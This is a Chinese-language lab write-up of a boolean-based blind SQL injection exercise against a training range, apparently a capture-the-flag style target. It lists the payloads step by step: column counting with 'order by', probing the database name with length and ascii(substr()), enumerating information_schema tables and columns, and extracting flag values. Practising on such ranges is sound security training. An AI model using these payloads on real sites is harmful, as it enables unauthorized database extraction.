SQL盲注一
测试靶场(掌控安全学院SQL注入靶场):https://hack.zkaq.cn/battle/target?id=1bd1990363f28cb9
- 找出原链接查询数据字段数
order by 3
时无数据了,则可判断字段数为2,可做接下来操作
- 试着找到当前数据库名长度(2.3步其实不用做)
and length(database())>11
尝试判断库名长度,测试为12
- 尝试将库名找出
and ascii(substr(database(),1,1))>=107
通过每个字母的ASCII码判断,以此查找12位字符,得到库名为:kanwolongxia
- 查找该库中有几张表
and (select count(table_name) from information_schema.tables where table_schema='kanwolongxia')=3
- 用第三步方法去尝试查找表名
and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))>=6
找出第一个表名长度为 6 ,
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1))>=108
依次判断出第一个表名的字符:loflag
- 通过上诉方法找到所有表名
loflag、news、user
PS :手动这样盲注要累死,所以还是使用工具吧,比如BurpSuite.
- 继续找loflag表中的字段
(1)找有多少个字段
and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='loflag')>=2
可判断为2个字段
(2)然后继续找出每个字段名各有多少个字符,同第5步(分别有2、6个字符,猜测第一个字段为id)
(3)找出字段名为:Id、flaglo
- 读取flaglo字段中的有用数据:
(1)第一个数据:8个字符
and length((select flaglo from loflag limit 0,1))>=8
查找为:zKaQ-QQQ
(2)第二个数据:7个字符
查找为:zKaQ-RD
(3)以此类推,找到正确flag就好了